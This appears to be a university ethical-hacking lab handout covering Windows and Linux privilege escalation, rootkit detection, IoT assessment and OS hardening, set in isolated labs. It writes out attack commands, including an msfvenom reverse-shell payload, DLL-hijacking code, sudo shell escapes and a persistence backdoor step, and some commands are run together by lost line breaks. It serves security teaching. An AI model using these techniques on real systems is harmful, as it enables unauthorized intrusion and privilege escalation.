Week 7 Lab Activities: Operating System Vulnerabilities

Course: CCS6324 Ethical Hacking and Penetration Testing
Week: 15-21 December

Lab Environment Setup

Prerequisites:

- VirtualBox or Hyper-V with snapshot capabilities
- Windows 7/10 vulnerable VM (OWASP WebGoat or Metasploitable)
- Linux vulnerable VMs (Metasploitable 2, DVWA Linux)
- Network isolation to prevent accidental production exposure

Security Reminder: All activities are conducted in isolated lab environments. Never test on systems without explicit written authorization.

Assessment Weighting

Difficulty: Beginner to Advanced

Total Mark Allocation: Weekly Lab Activities: 5% of the total 100 marks

Lab Activity Completion Requirements:

- Complete a minimum of 6 out of 7 lab activities
- Document deliverables for each activity
- Demonstrate hands-on execution and understanding

Lab Activity 1: Windows Unquoted Service Path Exploitation

Objective: Identify and exploit unquoted service paths for privilege escalation.

Activity Steps

1. **Vulnerability Identification**
    - On Windows 7/10 lab VM, open Command Prompt as administrator

    - Run: `wmic service get name,pathname,startmode | findstr /V "^REM"`
    - Identify services with spaces in paths lacking quotes
    - Document service names, paths, and current user privileges
2. **Vulnerability Assessment**
    - Analyze identified services for exploitation potential
    - Check directory write permissions: `icacls C:\`
    - Verify if target directories are writable by standard users
    - Note service startup type (automatic vs. manual)
3. **Exploitation Setup**
    - Create a malicious payload using msfvenom:
    - `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f exe > Program.exe`
    - Set up multi/handler in Metasploit to receive a connection
    - Place the payload in the identified vulnerable directory
4. **Execution and Verification**
    - Restart the vulnerable service or wait for automatic restart
    - Verify a successful connection in the Metasploit handler
    - Confirm elevated privileges (SYSTEM access)
5. **Remediation**
    - Remove malicious executable
    - Quote the service path: `sc config ServiceName binPath= "C:\Program Files\Service\app.exe"`
    - Verify proper permissions on system directories

Deliverables

- Screenshot showing identified unquoted service paths
- Proof of privilege escalation (SYSTEM shell)
- Remediation steps documented with verification

Lab Activity 2: Windows DLL Hijacking Attack

Objective: Execute arbitrary code through a DLL hijacking vulnerability.

Activity Steps

1. **Target Application Selection**
    - Identify an application on the Windows lab VM that loads external DLLs
    - Use Dependency Walker to map DLL dependencies
    - Document DLL search order
    - Identify writable directories in the search path
2. **Malicious DLL Creation**
    - Create C/C++ DLL with payload:
    - `#include <windows.h>BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ if (ul_reason_for_call == DLL_PROCESS_ATTACH) { WinExec("cmd.exe /c powershell.exe -nop -w hidden ...", SW_HIDE); } return TRUE;}`

    - Compile DLL with the same name as the legitimate library
    - Ensure compatibility (32-bit/64-bit matching)
3. **Placement and Execution**
    - Place a malicious DLL in a writable directory found in search order
    - Execute the target application
    - Verify payload execution
4. **Detection and Analysis**
    - Monitor Process Monitor for DLL loading
    - Observe file access patterns
    - Identify signs of DLL hijacking
5. **Remediation**
    - Remove malicious DLL
    - Implement DLL search order safeguards
    - Use code signing and validation

Deliverables

- DLL dependency analysis documentation
- Screenshots of malicious DLL execution
- Process Monitor logs showing DLL loading
- Remediation steps with validation

Lab Activity 3: Linux SUID Binary Exploitation

Objective: Escalate privileges using vulnerable SUID binaries.

Activity Steps

1. **SUID Binary Discovery**
    - On Metasploitable 2 or a vulnerable Linux VM, run:
    - `find / -perm -4000 -type f -ls 2>/dev/null`
    - Analyze discovered binaries for known vulnerabilities
    - Focus on less common SUID binaries (not standard utilities)
2. **Vulnerability Analysis**
    - Research identified SUID binaries for CVEs
    - Check the binary for buffer overflow or logic flaws
    - Determine exploitation feasibility
    - Document privilege escalation path
3. **Exploitation Execution**
    - Create exploit code targeting the vulnerability
    - Compile if necessary (C/C++ binary exploits)
    - Execute exploit
    - Verify root access: `whoami`, `id`
4. **Post-Exploitation**
    - Document access method
    - Create a backdoor for persistence (authorized lab only)
    - Gather system information as root

5. **Remediation**
    - Remove unnecessary SUID bits:
    - `sudo chmod u-s /path/to/vulnerable/binary`
    - Patch vulnerable software
    - Implement AppArmor/SELinux restrictions

Deliverables

- List of discovered SUID binaries with analysis
- Exploitation proof (root shell screenshot)
- Exploit code or methodology documented
- Remediation verification

Lab Activity 4: Linux sudo GTFOBins Exploitation

Objective: Escalate privileges using misconfigured sudo access.

Difficulty: Beginner to Intermediate

Activity Steps

1. **sudo Configuration Review**
    - As a standard user, check sudo access:
    - `sudo -l`
    - Document allowed commands
    - Identify potentially exploitable tools (vim, find, awk, less, etc.)
2. **Exploitation Using vim**
    - If vim is in sudo allowlist:
    - `sudo vim /tmp/dummy_file:!/bin/bash`
    - Verify root access
3. **Exploitation Using find**
    - If find is in sudo allowlist:
    - `sudo find . -exec /bin/bash \;`
    - Verify root access
4. **Exploitation Using awk**
    - If awk is in sudo allowlist:
    - `sudo awk 'BEGIN {system("/bin/bash")}'`
    - Verify root access
5. **Exploitation Using less**
    - If less is in sudo allowlist:
    - `sudo less /etc/passwd!/bin/bash`
    - Verify root access
6. **Remediation**
    - Edit sudoers safely using `visudo`:
    - `sudo visudo# Remove dangerous commands, add specific command restrictions# Example: user ALL=(ALL) NOPASSWD: /usr/bin/find -type f -name "*.log"`

Deliverables

- Screenshot of `sudo -l` output
- Proof of privilege escalation for each exploitable tool
- Remediated sudoers configuration
- Comparison showing before/after security posture

Lab Activity 5: Rootkit Installation and Detection

Objective: Understand the functionality, installation, detection, and removal of rootkits.

Difficulty: Advanced

Activity Steps

1. **Rootkit Selection and Study**
    - Research open-source rootkits (for educational purposes):
        - chkrootkit (detection tool, demonstrates rootkit concepts)
        - GMER (Windows rootkit detection and analysis)
    - Study rootkit techniques and evasion methods
    - Document rootkit behavior and persistence mechanisms
2. **Rootkit Installation (Lab Only)**
    - On an isolated, vulnerable VM, compile or install a test rootkit
    - Document installation process and modifications made
    - Verify rootkit persistence across reboots
    - Monitor system behavior changes
3. **Detection Using Multiple Methods**
    - Run chkrootkit:
    - `sudo chkrootkit`
    - Run rkhunter:
    - `sudo rkhunter --check --skip-keypress`
    - Analyze system files for modifications:
    - `ls -la /bootstat /sbin/init`
    - Check running processes for anomalies:
    - `ps auxnetstat -tulpn`
4. **Memory and Behavioral Analysis**
    - Monitor network connections: `netstat -tulpn`
    - Check loaded kernel modules: `lsmod`
    - Monitor system calls: `strace`
    - Analyze startup services and cron jobs
5. **Remediation**
    - Reboot into single-user mode or from live USB
    - Backup critical data
    - Perform a full filesystem scan
    - Wipe the filesystem and reload a clean OS
    - Restore data from a verified clean backup
6. **Post-Remediation Verification**
    - Rerun detection tools to confirm removal
    - Monitor system behavior
    - Verify system integrity

Deliverables

- Rootkit analysis documentation (behavior, persistence mechanisms)
- Detection tool outputs (chkrootkit, rkhunter)
- Memory dumps or process lists showing rootkit artifacts
- Complete remediation procedure documented
- Post-remediation verification screenshots

Lab Activity 6: IoT/Embedded Device Vulnerability Assessment

Objective: Assess the security posture of embedded devices.

Objective: Proceed with this lab activity only if you have IoT devices around you.

Activity Steps

1. **Device Inventory and Documentation**
    - List all embedded devices available in the lab
    - Document device type, manufacturer, model, and firmware version
    - Record known vulnerabilities (CVEs) for each device
    - Prioritize devices by criticality and vulnerability severity
2. **Network Reconnaissance**
    - Scan device network ranges:
    - `nmap -sV 192.168.1.0/24`
    - Identify open ports and services
    - Determine default credentials or known weak authentication
    - Document accessible interfaces (web, SSH, Telnet)
3. **Default Credential Testing**
    - Attempt login with common default credentials:
        - admin/admin
        - admin/password
        - root/root
        - etc.
    - Document successful authentications
    - Note the lack of credential change prompts
4. **Firmware Analysis**
    - Extract firmware from the device or download from the manufacturer
    - Analyze firmware contents:
    - `binwalk firmware.binstrings firmware.bin | grep -i password`
    - Identify hardcoded credentials
    - Find vulnerable libraries or known exploits
5. **Security Assessment**
    - Test for common vulnerabilities:
        - Weak SSH/Telnet instead of encrypted access
        - Unencrypted data transmission
        - Lack of authentication for sensitive functions

        - Outdated or unpatched software
    - Document findings with severity levels
6. **Exploitation (Authorized Lab Only)**
    - Attempt exploitation of identified vulnerabilities
    - Gain administrative access
    - Document access method and impact
7. **Recommendations and Remediation**
    - Change default credentials
    - Disable unnecessary services
    - Update firmware to latest version
    - Network segmentation recommendations
    - Monitoring recommendations

Deliverables

- Device inventory and prioritization matrix
- Network scan results with vulnerability mapping
- Credentials tested and success rates
- Firmware analysis findings
- Security assessment report with CVSS scores
- Remediation recommendations and implementation status

Lab Activity 7: OS Hardening Exercise

Objective: Implement comprehensive hardening measures on Windows and Linux systems.

Difficulty: Intermediate to Advanced

Windows Hardening

Steps:

1. Disable unnecessary services (fax, print spooler, SSDP, etc.)
2. Enable Windows Defender and update definitions.
3. Configure Windows Firewall with inbound/outbound rules
4. Filter ports 137-139 and 445 against SMB and null session attacks
5. Implement UAC appropriately
6. Enable BitLocker encryption
7. Audit and restrict user permissions using NTFS ACLs
8. Configure Windows Update for automatic patching
9. Implement AppLocker for application control
10. Enable and configure Windows Event Log collection
11. Configure security group policies via gptedit.msc
12. Disable the Guest account and the local Administrator account
13. Verify no accounts with blank passwords
14. Implement strong password policies (minimum 8 characters, complexity requirements)

15. Enable account lockout thresholds and duration policies
16. Disable LM Hashes to prevent legacy password attacks
17. Implement file integrity checking tools like Tripwire
18. Verify NTFS usage (not FAT) for ACL support
19. Check for and remove Alternate Data Streams (ADSs) hiding malicious files
20. Audit and restrict Remote Procedure Call (RPC) access

Verification:

- Run security baseline compliance tools
- Document before/after security posture
- Verify system functionality post-hardening

Linux Hardening

Steps:

1. Apply all available security updates and patches
2. Disable unnecessary services and daemons
3. Configure firewall (ufw or firewalld) with iptables rules
4. Enable SELinux or AppArmor mandatory access controls
5. Configure SSH hardening (disable root login, change default port)
6. Remove unnecessary SUID binaries: `find / -perm -4000 -type f`
7. Configure sudo with least privilege using `visudo`
8. Enable auditd logging for system monitoring
9. Implement fail2ban for intrusion prevention
10. Enable disk encryption (LUKS) for sensitive partitions
11. Restrict bash_history file permissions
12. Set appropriate file permissions on all system files
13. Monitor file integrity with AIDE or Tripwire
14. Disable or remove Trojan-susceptible services
15. Implement user awareness training documentation
16. Use vulnerability scanners (OpenVAS) for ongoing assessment
17. Verify no blank passwords on system accounts
18. Configure SELinux or AppArmor policies for critical services
19. Subscribe to security advisory lists for your distribution

Verification:

- Audit configuration compliance
- Test disabled services and confirm they don't restart
- Verify firewall rules function correctly
- Monitor logs for suspicious activities
- Run OpenVAS or other vulnerability scanners to verify hardening

Deliverables

- Hardening checklist with completion status
- Before/after configuration comparisons
- Automated compliance scan results

- Security audit report documenting improvements

Final Assignment: OS Vulnerability Assessment Report

Objective: Conduct a comprehensive vulnerability assessment on a system and document findings.

Scope: Complete operating system evaluation covering Windows, Linux, or embedded devices

Report Requirements

1. Executive Summary (1-2 pages)

- Assessment scope and objectives
- Critical findings summary
- Risk impact overview
- Recommended priorities

2. Vulnerability Inventory (2-3 pages)

- Detailed list of discovered vulnerabilities
- Severity classification (Critical, High, Medium, Low)
- CVSS scores and CVE references
- Affected systems and services
- Exploitability assessment

3. Detailed Findings (4-6 pages) For each vulnerability:

- Description and technical details
- Exploitation method and proof-of-concept
- Potential impact and business risk
- Affected configurations and versions
- Remediation steps and timeline
- References to CVE database entries
- Include specific Windows vulnerabilities (unquoted service paths, DLL hijacking, insecure permissions, RPC issues, etc.) or Linux vulnerabilities (SUID binaries, sudo misuse, stored passwords, etc.) as applicable
- Document any password-related vulnerabilities or authentication weaknesses discovered

4. Hardening Recommendations (2-3 pages)

- Patching schedule and methodology
- Configuration hardening measures specific to the identified OS
- Access control implementation (ACLs, RBAC)
- Windows-specific: AppLocker, UAC, BitLocker, firewall rules (ports 137-139, 445)

- Linux-specific: SELinux/AppArmor, SSH hardening, SUID restrictions, sudo configuration
- Monitoring and logging setup
- Antivirus/anti-malware deployment for Windows
- Incident response procedures
- Service hardening and unnecessary service disabling
- File system security considerations (NTFS ACLs, encryption)

5. Lab Evidence (Appendix)

- Screenshots of vulnerability discovery and scanning
- Tool outputs (MBSA, WinPEAS, OpenVAS, chkrootkit, etc.)
- Exploitation proofs of concept were applicable
- Hardening implementation screenshots
- Before/after security posture comparisons
- Configuration files showing hardening measures

Submission Requirements

- Professional formatting and structure
- Proper citation of sources and tools
- Clear documentation of methodology
- Actionable recommendations with an implementation timeline
- Inclusion of at least 3 different vulnerability scanning tools
- Documentation of at least 5 distinct vulnerabilities discovered

Grading Criteria

- Completeness of vulnerability assessment (30%)
  - Multiple OS types or comprehensive single OS coverage
  - Identification of configuration vs. CVE vulnerabilities
  - Coverage of file system, access control, and authentication vulnerabilities
- Technical accuracy and depth (25%)
  - Correct CVSS scoring
  - Accurate vulnerability descriptions
  - Valid exploitation techniques
- Quality of recommendations (20%)
  - Practicality and feasibility
  - Proper remediation timelines
  - Reference to specific hardening methods covered in the course
- Professional presentation (15%)
  - Clear writing and organization
  - Proper formatting and citations
  - Visual aids and screenshots were appropriate
- Evidence of hands-on lab work (10%)
  - Tool outputs and screenshots
  - Proof of exploitation/vulnerability verification
  - Hardening verification evidence

Lab Safety and Compliance

Important Reminders:

- Conduct all activities in **isolated lab environments only**
- Never execute exploits on production systems
- Obtain **written authorization** before testing any system
- Document all activities comprehensively
- Follow responsible disclosure if testing non-lab systems
- Respect data privacy and confidentiality
- Report findings through proper channels

Ethical Obligations:

As future security professionals, understanding these vulnerabilities enables you to protect systems, not compromise them. Use this knowledge responsibly and legally.

The End!